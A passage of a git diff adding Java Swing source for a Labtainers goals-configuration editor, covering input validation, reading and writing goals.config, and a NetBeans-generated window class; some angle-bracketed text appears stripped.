if(goalsConfigFile.exists()){ + //Overwrite goals.config file if it already exists + try (BufferedWriter writer = new BufferedWriter(new FileWriter(goalsConfigFile, false))) { + writer.write(baseText); + } + return goalsConfigFile; + } + else if(goalsConfigFile.createNewFile()){ + //Create new goals.config file otherwise(if it does not already exist) + try (BufferedWriter writer = new BufferedWriter(new FileWriter(goalsConfigFile))) { + writer.write(baseText); + } + return goalsConfigFile; + } + else{ //File could not be created so return error message + System.out.println("Goals Config File couldn't be initialzed."); + return null; + } + } + + //Handles all the error data and error checking before writing the goals.config + protected class ErrorHandler{ + private boolean overallPass; + private String errorMsg; + boolean + goalError, + goalIDMissing, + + goal1Error, + goal1Missing, + goal2Error, + goal2Missing, + + booleanExpCharError, + booleanExpTagError, + booleanExpNotError, + booleanExpStartError, + booleanExpEndError, + booleanParensError, + booleanAlternateError, + booleanMissing, + + arithRTCharError, + arithRTMissing, + + valueError, + valueMissing, + subgoalError, + subgoalMissing; + + ErrorHandler(){ + overallPass = true; + errorMsg = ""; + checkReset(); + } + + void fail(){ + overallPass = false; + } + + //Rests the error status(used right before looking at new goal line) + private void checkReset(){ + goalError = false; + goalIDMissing = false; + + goal1Error = false; + goal1Missing = false; + goal2Error = false; + goal2Missing = false; + + booleanExpCharError = false; + booleanExpTagError = false; + booleanExpNotError = false; + booleanExpStartError = false; + booleanExpEndError = false; + booleanParensError = false; + booleanAlternateError = false; + booleanMissing = false; + + arithRTCharError = false; + arithRTMissing = false; + + valueError = false; + valueMissing = false; + subgoalError = false; + subgoalMissing = false; + } + + + + //Builds error message detailing the errors that appear in the user input + boolean userInputCheck(int goalIndex){ + boolean rowPassed = true; + String infoMsg = "Goal Line: " + goalIndex + System.lineSeparator(); + + if(goalError){ + rowPassed = false; + infoMsg+= "-Make sure your Goal ID has only alphanumeric characters or underscores." + System.lineSeparator(); + } + if(goalIDMissing){ + rowPassed = false; + infoMsg+= "-Goal ID input is missing." + System.lineSeparator(); + } + + + if(goal1Error){ + rowPassed = false; + infoMsg+= "-Make sure that Goal 1 is a 'matchany' goal above this line or a results boolean." + System.lineSeparator(); + } + if(goal1Missing){ + rowPassed = false; + infoMsg+= "-Goal 1 input is missing." + System.lineSeparator(); + } + if(goal2Error){ + rowPassed = false; + infoMsg+= "-Make sure that Goal 2 is a 'matchany' goal above this line or a results boolean." + System.lineSeparator(); + } + if(goal2Missing){ + rowPassed = false; + infoMsg+= "-Goal 2 input is missing." + System.lineSeparator(); + } + + + if(booleanExpCharError || booleanExpTagError){ + rowPassed = false; + infoMsg+= "-Make sure Boolean Expression contains only result booleans, non-matchacross goal IDs above this goal line," + System.lineSeparator() + + "parentheses, and boolean operators(and, or, and_not, or_not, not)." + System.lineSeparator(); + } + if(booleanExpNotError){ + rowPassed = false; + infoMsg+= "-The 'not' boolean operator can only appear at the beginning of a boolean expression." + System.lineSeparator(); + } + if(booleanExpStartError || booleanExpEndError || booleanParensError || booleanAlternateError){ + rowPassed = false; + infoMsg+= "-Make sure your expression is formatted correctly: Proper Parentheses and making sure an item precedes and follows " + System.lineSeparator() + + "a boolean operator." + System.lineSeparator(); + } + if(booleanMissing){ + rowPassed = false; + infoMsg+= "-Boolean input is missing." + System.lineSeparator(); + } + + + if(arithRTCharError){ + rowPassed = false; + infoMsg+= "-Make sure Arithmetic Result Tag is formatted correctly." + System.lineSeparator(); + } + if(arithRTMissing){ + rowPassed = false; + infoMsg+= "-Arithmetic Result Tag input is missing." + System.lineSeparator(); + } + + + if(valueError){ + rowPassed = false; + infoMsg+= "-Value can only be a positive number(includes zero) less than the number of subgoal items." + System.lineSeparator(); + } + if(valueMissing){ + rowPassed = false; + infoMsg+= "-Value input is missing." + System.lineSeparator(); + } + if(subgoalError){ + rowPassed = false; + infoMsg+= "-Make sure your Subgoal list is seperated by commas(', ') and only contains goals from above this goal line" + System.lineSeparator() + + "and/or result booleans." + System.lineSeparator(); + } + if(subgoalMissing){ + rowPassed = false; + infoMsg+= "-Subgoal List input is missing." + System.lineSeparator(); + } + + if(!rowPassed) + errorMsg += (infoMsg + System.lineSeparator()); + + return rowPassed; + } + + //Checks is goal ID is missing or has invalid characters(valid: alphanumeric, and underscores) + boolean checkGoalID(String goalID){ + if(goalID.isEmpty() || goalID.equals("")){ + goalIDMissing = true; + return false; + } + else if(!goalID.matches("^[a-zA-Z0-9_-]+$")){ + goalError = true; + return false; + } + else + return true; + } + + + //Checks if goal 1 is either an above goal or a boolean results + boolean checkGoal1(String goal1, List listOfAboveGoals){ + if(goal1.isEmpty() || goal1.equals("")){ + goal1Missing = true; + return false; + } + else if(!listOfAboveGoals.contains(goal1) && !booleanResults.contains(goal1)){ + goal1Error = true; + return false; + } + else + return true; + } + + //Checks if goal 2 is either an above goal or a boolean results + boolean checkGoal2(String goal2, List listOfAboveGoals){ + if(goal2.isEmpty() || goal2.equals("")){ + goal2Missing = true; + return false; + } + else if(!listOfAboveGoals.contains(goal2) && !booleanResults.contains(goal2)){ + goal2Error = true; + return false; + } + else + return true; + } + + //Checks if boolean expression is valid: (The checking may have some overlap thta may need to be recoded) + boolean checkBooleanExp(String booleanExp, List nonMAAGoals, List booleanResults) { + String[] booleanOperators = {"and", "or", "and_not", "or_not"}; + + if(booleanExp.isEmpty() || booleanExp.equals("")){ + booleanMissing = true; + return false; + } + + //Does the boolean exp contain invalid chars (char not: alphnumeric, undescore, hyphen, whitespace, parenthesis) + if(!booleanExp.matches("^[a-zA-Z0-9_() -]+$")){ + booleanExpCharError = true; + return false; + } + + //Reformat the boolean expression string to identitfy things that shouldn't be there + //Replace all " not" with % + booleanExp = " "+booleanExp; + //The line above is necessary because when 'not' is used in the beginning there may or may not be a space before it. + //Adding the space includes the non-space-preceeded case. + booleanExp = booleanExp.replaceAll(" not ", "%"); + + booleanExp = booleanExp.trim(); + + //System.out.println("OG: "+booleanExp); + //System.out.println(); + //System.out.println("GOALS:"); + + //Replace all non Matchacross Goals with an asterisk symbol + for(String toReplace : nonMAAGoals){ + booleanExp = symbolReplace(booleanExp, toReplace, "*"); + } + + //System.out.println(); + //System.out.println("RESULT BOOLEANS:"); + //Replace all non boolean results with an asterisk symbol + for(String toReplace : booleanResults){ + booleanExp = symbolReplace(booleanExp, toReplace, "*"); + } + + //System.out.println(); + //System.out.println("BOOLEAN OPERATORS:"); + //Replace all boolean operators with a pound symbol + for(String toReplace : booleanOperators){ + booleanExp = symbolReplace(booleanExp, toReplace, "#"); + } + + //System.out.println(booleanExp); + + booleanExp = booleanExp.replaceAll("\\s+","");//removes white space + + //If the boolean expression had a "not " in it, did it not occur at the beginning and/or more than once + if(booleanExp.contains("%") && (!booleanExp.startsWith("%") || (booleanExp.indexOf("%") != booleanExp.lastIndexOf("%")))){ + booleanExpNotError = true; + return false; + } + //Does the reformatted Boolean Expression string pick up alphnumeric(with underscore) substring that doesn't belong in either nonMAAGoals or booleanResults + if(!booleanExp.matches("^[%*#()]+$")){ + + booleanExpTagError = true; + return false; + } + //Does it start with an operator or a close parens + else if(booleanExp.startsWith("#") || booleanExp.startsWith(")")){ + booleanExpStartError = true; + return false; + } + //Does it end with an operator or an open parens + else if(booleanExp.endsWith("#") || booleanExp.endsWith("(")){ + booleanExpEndError = true; + return false; + } + //Does the boolean expression have bad parens + else if(parensHandler(booleanExp)){ + booleanParensError = true; + return false; + } + //Does it at least have one operator not preceeded and not followed by a nonMAA goal/boolean result + else if(alternatationCheck(booleanExp)){ + booleanAlternateError = true; + return false; + } + + return true; + } + + //Replaces the a substring in the a string with another string + String symbolReplace(String booleanExp, String toReplace, String replaceWith){ + int tRIndex = booleanExp.indexOf(toReplace); + while(tRIndex != -1){ + int indexAfterWord = tRIndex+toReplace.length(); + int indexBeforeWord = tRIndex-1; + //System.out.println(toReplace+": "); + //System.out.println("tRIndex: "+tRIndex); + //System.out.println("indexAfterWord: "+indexAfterWord); + + + //IF the word to replace is at the beginning: "toReplace and_not other" -> "* and_not other" + if(tRIndex == 0 && booleanExp.charAt(indexAfterWord) == ' '){ + booleanExp = booleanExp.substring(0, indexAfterWord).replaceFirst(toReplace, replaceWith)+ + booleanExp.substring(indexAfterWord, booleanExp.length()); + } + //IF the word to replace is at the end: "other and_not toRepalce" -> "other and_not *" + else if(tRIndex == booleanExp.length()-toReplace.length() && + booleanExp.charAt(booleanExp.length()-toReplace.length()-1) == ' '){ + booleanExp = booleanExp.substring(0, tRIndex) + + booleanExp.substring(tRIndex, booleanExp.length()).replaceFirst(toReplace, replaceWith); + } + /* + IF the word to replace is in the middle: "other and toReplace and another" -> "other and * and another" + "(other and toReplace) and another" -> "(other and *) and another" + "(toReplace and other) and another" -> "(* and other) and another" + "(toReplace) and another" -> "(*) and another" + */ + else if((booleanExp.charAt(indexBeforeWord) == ' ' || booleanExp.charAt(indexBeforeWord) == '(') && + (booleanExp.charAt(indexAfterWord) == ' ' || booleanExp.charAt(indexAfterWord) == ')')){ + booleanExp = booleanExp.substring(0, tRIndex)+ + booleanExp.substring(tRIndex, indexAfterWord).replaceFirst(toReplace, replaceWith)+ + booleanExp.substring(indexAfterWord, booleanExp.length()); + } + + //System.out.println(booleanExp); + //System.out.println(); + + indexAfterWord = tRIndex+replaceWith.length(); //The indexAfterWord is shifted since the word has been deleted and replaced + if(indexAfterWord aboveGoals, List booleanResults){ + boolean pass = true; + + if(subgoalList.isEmpty() || subgoalList.equals("")){ + subgoalMissing = true; + pass = false; + } + if(value.isEmpty() || value.equals("")){ + valueMissing = true; + pass = false; + } + + if(!subgoalMissing && !valueMissing){ + String[] subgoals = subgoalList.split(", "); + for(String subgoal : subgoals){ + subgoal = subgoal.replaceAll("\\s+", ""); + if(!aboveGoals.contains(subgoal) && !booleanResults.contains(subgoal)){ + subgoalError = true; + pass = false; + } + } + + if(!value.matches("^[0-9]+$") || subgoals.length <= Integer.parseInt(value)){ + valueError = true; + pass = false; + } + + + } + return pass; + } + + //Checks if the result tag has any arithmetic errors (NEEDS REVISION) ***Incomplete + boolean checkArithRT(String arithRT){ + if(arithRT.isEmpty() || arithRT.equals("")){ + arithRTMissing = true; + return false; + } +// for(String rt : resultTagList) +// arithRT.replaceAll(rt, "0"); +// arithRT.replaceAll("\\s+","");//removes white space +// +// if(!arithRT.matches("^[-+0*/&0-9()]+$")){ +// arithRTCharError = true; +// return false; +// } + + return true; + } + + + + + + //Check if there are goalID duplicates (this includes checking duplicates with boolean results) + void checkDuplicateGoalIDs(List goalIDs, List booleanResults){ + ArrayList goalIDSet = new ArrayList<>(); + + //Store all the indices for each unique goal ID + for(int i=0;i 1){ + duplicateErrorMsg+= "Duplicate Goal ID: \"" + goal.goalID + "\" on rows "; + + for(int i=0;i indices; + + GoalIDIndices(String goalID, int index){ + this.goalID = goalID; + indices = new ArrayList<>(); + indices.add(index); + isResultTagBoolean = false; + } + + void addIndex(int index){ + indices.add(index); + } + } + + //Is the goal ID already in the duplicate list? + boolean isDuplicate(List goalIDSet, String goalID){ + for(GoalIDIndices goalIndices : goalIDSet){ + if(goalIndices.goalID.equals(goalID)) + return true; + } + return false; + } + + //Get the duplicate object based on the duplicate string + GoalIDIndices getDuplicate(List goalIDSet, String goalID){ + for(GoalIDIndices goalIndices : goalIDSet){ + if(goalIndices.goalID.equals(goalID)) + return goalIndices; + } + return null; + } + + @Override + public String toString(){ + return errorMsg; + } + + boolean passStatus(){ + return overallPass; + } + + + } + + +//GENERAL~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + //Gets a list of GoalValues from the the current state of the goals.config file + protected ArrayList getGoalValuesOfConfigFile(){ + ArrayList officialListofGoals = new ArrayList<>(); + + ArrayList goalLines = getGoalLines(); + if(goalLines != null){ + for(String goalLine : goalLines){ + GoalValues values = new GoalValues(goalLine, resultTagList); + officialListofGoals.add(values); + } + return officialListofGoals; + } + else + return null; + } + + //Get the list of goal lines from the goals.config that need to be parsed + private ArrayList getGoalLines(){ + ArrayList goals = new ArrayList<>(); + + try { + String userHomeFolder = System.getProperty("user.home"); + File lab = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator+ labname); + File goalsConfig = new File(lab+"/instr_config/goals.config"); + + //Get the artifact lines + if(goalsConfig.exists()){ + try (FileReader fileReader = new FileReader(goalsConfig)) { + BufferedReader bufferedReader = new BufferedReader(fileReader); + + String line = bufferedReader.readLine(); + while (line != null) { + //just checks if the first character is: not empty, not a hash, and not whitspace) + if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) + goals.add(line); + + line = bufferedReader.readLine(); + } + } + return goals; + } + else{ + System.out.println("No goals.config file in the loaded lab!"); + return null; + } + } + catch (IOException e) { + System.out.println("Issue with getting goals.config goals"); + return null; + } + } + + + //Updates the list of goals + protected void updateListofGoals(JPanel PanelofGoals){ + Component[] goals = PanelofGoals.getComponents(); //Access the list of goals + + ArrayList listofGoalsTMP = new ArrayList<>(); + + //Iterate through each goal panel in the UI and add its values to the temp list of goal values + for (Component goal : goals) { + //Goal ID + String goalID = ((GoalPanels) goal).getGoalIDTextField().getText(); + //GoalType + ToolTipWrapper goalType = (ToolTipWrapper)((GoalPanels) goal).getGoalTypeComboBox().getSelectedItem(); + + + //Operator + ToolTipWrapper operator = (ToolTipWrapper)((GoalPanels) goal).getOperatorComboBox().getSelectedItem(); + String resultTag = ""; + if(goalType.equals(GoalType_ITEMS[12])){ //matchExpression + resultTag = ((GoalPanels) goal).getArithmeticResultTagTextField().getText(); + } + else{ + //Result Tag + resultTag = (String)((GoalPanels) goal).getResultTagComboBox().getSelectedItem(); + } + //Answer Type + String answerType = (String)((GoalPanels) goal).getAnswerTypeComboBox().getSelectedItem(); + //Answer Tag + String answerTag = ""; + if(answerType.equals(answerTypes[0])) //Literal + answerTag = ((GoalPanels) goal).getAnswerTagTextField().getText(); + else if(answerType.equals(answerTypes[1])) //Result Tag + answerTag = (String)(((GoalPanels) goal).getResultTag2ComboBox().getSelectedItem()); + else if(answerType.equals(answerTypes[2]) || answerType.equals(answerTypes[3])) //Parameter and Parameter ASCII + answerTag = (String)(((GoalPanels) goal).getParameterComboBox().getSelectedItem()); + + + + //Boolean Expression + String booleanExp = ((GoalPanels) goal).getBooleanTextField().getText(); + + + //Goal 1 + String goal1 = ((GoalPanels) goal).getGoal1TextField().getText(); + //Goal 2 + String goal2 = ((GoalPanels) goal).getGoal2TextField().getText(); + + + //Value + String value = ((GoalPanels) goal).getValueTextField().getText(); + //Subgoal List + String subgoalList = ((GoalPanels) goal).getSubgoalTextField().getText(); + + + //Executable File + String executableFile = ((GoalPanels) goal).getExecutableFileTextField().getText(); + + listofGoalsTMP.add(new GoalValues(goalID, goalType, operator, resultTag, answerType, answerTag, booleanExp, goal1, goal2, value, subgoalList, executableFile)); + } + listofGoals = listofGoalsTMP; //overwrite the old listofGoals with the temp listofGoals + } + + //Swaps goal order in the list of goals and then redraws them + protected void swapGoals(String type, int rowIndex){ + switch(type){ + case "UP": + if(rowIndex > 0){ + //System.out.println("UP: "+listofGoals.get(rowIndex).resultTag+" Index: "+rowIndex); + Collections.swap(listofGoals, rowIndex, rowIndex-1); + } + break; + case "DOWN": + if(rowIndex < rowCount-1){ + //System.out.println("DOWN: "+listofGoals.get(rowIndex).resultTag); + Collections.swap(listofGoals, rowIndex, rowIndex+1); + } + break; + default: + System.out.println("swap case not registered"); + } + } + + + //Compares the data of two lists of ArtifactValues. If there is a difference then return 'true', 'false' otherwise + static boolean goalValuesDiffer(List list1, List list2){ + if(list1 == null || list2 == null || list1.size() != list2.size()) + return true; + else{ + //This is a gross implemenation of copmaring each individual value between two sets of Goal Values (Maybe conisder implementing the GoalValues Class as a comparable) + for(int i=0;i getAboveGoals(String type, int rowIndex, Component[] goals){ + ArrayList aboveGoals = new ArrayList<>(); + for(int i=0;i(); + rowCount = listofGoals.size(); + } + +//RowCount setters + void increaseRowCount(){ + rowCount++; + } + + void decreaseRowCount(){ + rowCount--; + } + +//Getters + boolean isLoaded(){ + return labloaded; + } + + int getRowCount(){ + return rowCount; + } + + List getListofGoals(){ + return listofGoals; + } + + List getResultTagList(){ + return resultTagList; + } + + List getParameters(){ + return parameters; + } + + List getBooleanResults(){ + return booleanResults; + } + +//Debug + static private void goalValuesDifferDEBUG(List list1, List list2, int i){ + System.out.println("GOAL: "+i); + System.out.println(); + System.out.println("Goal ID"); + System.out.println(list1.get(i).goalID + " : " + list2.get(i).goalID); + System.out.println(); + System.out.println("Goal Type"); + System.out.println(list1.get(i).goalType + " : " + list2.get(i).goalType); + System.out.println(); + System.out.println("Opertor"); + System.out.println(list1.get(i).operator + " : " + list2.get(i).operator); + System.out.println(); + System.out.println("Result Tag"); + System.out.println(list1.get(i).resultTag + " : " + list2.get(i).resultTag); + System.out.println(); + System.out.println("Answer Tag"); + System.out.println(list1.get(i).answerTag + " : " + list2.get(i).answerTag); + System.out.println(); + System.out.println("Boolean Expression"); + System.out.println(list1.get(i).booleanExp + " : " + list2.get(i).booleanExp); + System.out.println(); + System.out.println("Goal 1"); + System.out.println(list1.get(i).goal1 + " : " + list2.get(i).goal1); + System.out.println(); + System.out.println("Goal 2"); + System.out.println(list1.get(i).goal2 + " : " + list2.get(i).goal2); + System.out.println(); + System.out.println("Value"); + System.out.println(list1.get(i).value + " : " + list2.get(i).value); + System.out.println(); + System.out.println("Subgoal List"); + System.out.println(list1.get(i).subgoalList + " : " + list2.get(i).subgoalList); + System.out.println(); + System.out.println("Goal ID"); + System.out.println(list1.get(i).executableFile + " : " + list2.get(i).executableFile); + } + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.form new file mode 100644 index 000000000..1b91e7dbc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.form @@ -0,0 +1,186 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.java new file mode 100644 index 000000000..1530dbb3c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.java @@ -0,0 +1,316 @@ +package GoalsUI; + +import java.awt.Component; +import javax.swing.JFrame; +import javax.swing.JOptionPane; +import javax.swing.JPanel; + +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ + +/** + * + * @author Daniel Liao + */ +public class GoalsUI extends javax.swing.JFrame { + GoalsData dataUI; + + public GoalsUI() { + initComponents(); + LabNotExist.setVisible(false); + dataUI = new GoalsData(); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + ScrollPaneOfGoals = new javax.swing.JScrollPane(); + PanelofGoals = new javax.swing.JPanel(); + UpdateButton = new javax.swing.JButton(); + RemoveAllButton = new javax.swing.JButton(); + jLabel9 = new javax.swing.JLabel(); + CreateButton = new javax.swing.JButton(); + jLabel3 = new javax.swing.JLabel(); + jLabel1 = new javax.swing.JLabel(); + LabNameTextField = new javax.swing.JTextField(); + LabNotExist = new javax.swing.JLabel(); + + setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); + setBackground(new java.awt.Color(255, 255, 255)); + setMinimumSize(new java.awt.Dimension(1590, 500)); + setPreferredSize(new java.awt.Dimension(1110, 389)); + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + formWindowClosing(evt); + } + }); + + ScrollPaneOfGoals.setAutoscrolls(true); + ScrollPaneOfGoals.setMaximumSize(new java.awt.Dimension(1300, 800)); + + PanelofGoals.setLayout(new javax.swing.BoxLayout(PanelofGoals, javax.swing.BoxLayout.PAGE_AXIS)); + ScrollPaneOfGoals.setViewportView(PanelofGoals); + + UpdateButton.setText("Update"); + UpdateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + UpdateButtonActionPerformed(evt); + } + }); + + RemoveAllButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N + RemoveAllButton.setText("Remove All"); + RemoveAllButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + RemoveAllButtonActionPerformed(evt); + } + }); + + jLabel9.setFont(new java.awt.Font("Arial Black", 0, 12)); // NOI18N + jLabel9.setText("Lab Name: "); + + CreateButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N + CreateButton.setText("Create"); + CreateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CreateButtonActionPerformed(evt); + } + }); + + jLabel3.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel3.setText("Goal Type"); + jLabel3.setToolTipText("The mode in which a value is found."); + + jLabel1.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel1.setText("Goal ID"); + jLabel1.setToolTipText("The symbolic name of the result, which will be referenced in the goals configuration file. \n\n(It must be alphanumeric, underscores permitted) "); + + LabNameTextField.setPreferredSize(new java.awt.Dimension(6, 25)); + LabNameTextField.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + LabNameTextFieldActionPerformed(evt); + } + }); + + LabNotExist.setFont(new java.awt.Font("Tahoma", 1, 14)); // NOI18N + LabNotExist.setText("Lab does not exist!"); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(ScrollPaneOfGoals, javax.swing.GroupLayout.DEFAULT_SIZE, 1300, Short.MAX_VALUE) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(CreateButton) + .addGap(10, 10, 10) + .addComponent(RemoveAllButton) + .addGap(98, 98, 98) + .addComponent(jLabel9) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(LabNameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 378, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(LabNotExist) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 344, Short.MAX_VALUE) + .addComponent(UpdateButton)) + .addGroup(layout.createSequentialGroup() + .addGap(50, 50, 50) + .addComponent(jLabel1) + .addGap(89, 89, 89) + .addComponent(jLabel3) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(CreateButton) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(RemoveAllButton) + .addComponent(jLabel9) + .addComponent(LabNameTextField, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(UpdateButton) + .addComponent(LabNotExist))) + .addGap(14, 14, 14) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel1) + .addComponent(jLabel3)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ScrollPaneOfGoals, javax.swing.GroupLayout.DEFAULT_SIZE, 317, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void UpdateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpdateButtonActionPerformed + update(); + }//GEN-LAST:event_UpdateButtonActionPerformed + private void update(){ + if(dataUI.isLoaded()) + dataUI.writeGoalsConfig(PanelofGoals); + } + + private void LabNameTextFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_LabNameTextFieldActionPerformed + loadLab(); + }//GEN-LAST:event_LabNameTextFieldActionPerformed + //Checks if the lab exists and will load lab's goals config if it does + private void loadLab(){ + dataUI = new GoalsData(getLabName()); + + if(dataUI.isLoaded()){ + LabNotExist.setVisible(false); + goalsPanelRedraw(); + } + else + LabNotExist.setVisible(true); + } + + private void CreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CreateButtonActionPerformed + createFreshGoal(); + }//GEN-LAST:event_CreateButtonActionPerformed + //Creates and loads a new goal row *Note: creating a new row does not automatically save the new row into the GoalsData(acti) + private void createFreshGoal(){ + if(dataUI.isLoaded()){ + dataUI.increaseRowCount(); + GoalPanels newGoal = new GoalPanels(this, dataUI); + PanelofGoals.add(newGoal); + PanelofGoals.revalidate(); + PanelofGoals.repaint(); + } + } + + private void RemoveAllButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RemoveAllButtonActionPerformed + removeAllButton(); + }//GEN-LAST:event_RemoveAllButtonActionPerformed + private void removeAllButton(){ + if(dataUI.isLoaded()){ + if(JOptionPane.showConfirmDialog(null, "Are you sure you want to remove all?") == JOptionPane.YES_OPTION){ + removeAllGoals(); + dataUI.resetData(); + } + } + } + + private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing + checkUnsavedChangesMade(); + }//GEN-LAST:event_formWindowClosing + //Check if the the current state of the UI matches with what's saved in the goals.config + void checkUnsavedChangesMade(){ + if(dataUI.isLoaded()){ + dataUI.updateListofGoals(PanelofGoals); + + if(GoalsData.goalValuesDiffer(dataUI.getListofGoals(), dataUI.getGoalValuesOfConfigFile())){ + int confirmed = JOptionPane.showConfirmDialog(null, + "There are Unsaved Changes. Are you sure you want to exit the program?", "Unsaved Changes", + JOptionPane.YES_NO_OPTION); + + if (confirmed == JOptionPane.YES_OPTION) + dispose(); + else + setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); + } + else + dispose(); + } + } + +//General Methods + //Updates the list of goals and redraws them on screen + void refresh(){ + dataUI.updateListofGoals(PanelofGoals); + goalsPanelRedraw(); + } + + //Redraws the goals Panel + void goalsPanelRedraw(){ + removeAllGoals(); + for(int i=0; i < dataUI.getListofGoals().size(); i++) + loadGoal(dataUI.getListofGoals().get(i), i+1); + } + + //Removes all the goal lines for the lab *note: this doesn't update results.config until the user hits the update button + private void removeAllGoals(){ + Component[] componentList = PanelofGoals.getComponents(); + for(Component c: componentList) + PanelofGoals.remove(c); + PanelofGoals.revalidate(); + PanelofGoals.repaint(); + } + + //Load's the goals into GUI + private void loadGoal(GoalValues goalVal, int rowNum){ + GoalPanels newGoal = new GoalPanels(this, dataUI, goalVal, rowNum); + PanelofGoals.add(newGoal); + PanelofGoals.revalidate(); + PanelofGoals.repaint(); + } + + + + //Gets the labname + private String getLabName(){ + return LabNameTextField.getText(); + } + + //Gets the panel holding the goals + protected JPanel getPanelofGoals(){ + return PanelofGoals; + } + + + public static void main(String args[]) { + /* Set the Nimbus look and feel */ + // + /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. + * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html + */ + try { + for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + javax.swing.UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | javax.swing.UnsupportedLookAndFeelException ex) { + java.util.logging.Logger.getLogger(GoalsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } + // + // + + // + + /* Create and display the form */ + java.awt.EventQueue.invokeLater(() -> { + GoalsUI newGoalsUI = new GoalsUI(); + newGoalsUI.setSize(1000, 1000); + newGoalsUI.setVisible(true); + }); + } + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton CreateButton; + private javax.swing.JTextField LabNameTextField; + private javax.swing.JLabel LabNotExist; + private javax.swing.JPanel PanelofGoals; + private javax.swing.JButton RemoveAllButton; + private javax.swing.JScrollPane ScrollPaneOfGoals; + private javax.swing.JButton UpdateButton; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel9; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ParamReferenceStorage.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ParamReferenceStorage.java new file mode 100644 index 000000000..445057a98 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ParamReferenceStorage.java @@ -0,0 +1,190 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package GoalsUI; + +import GoalsUI.ToolTipHandlers.ToolTipWrapper; +import java.util.ArrayList; +import java.util.Arrays; + + +/** + * 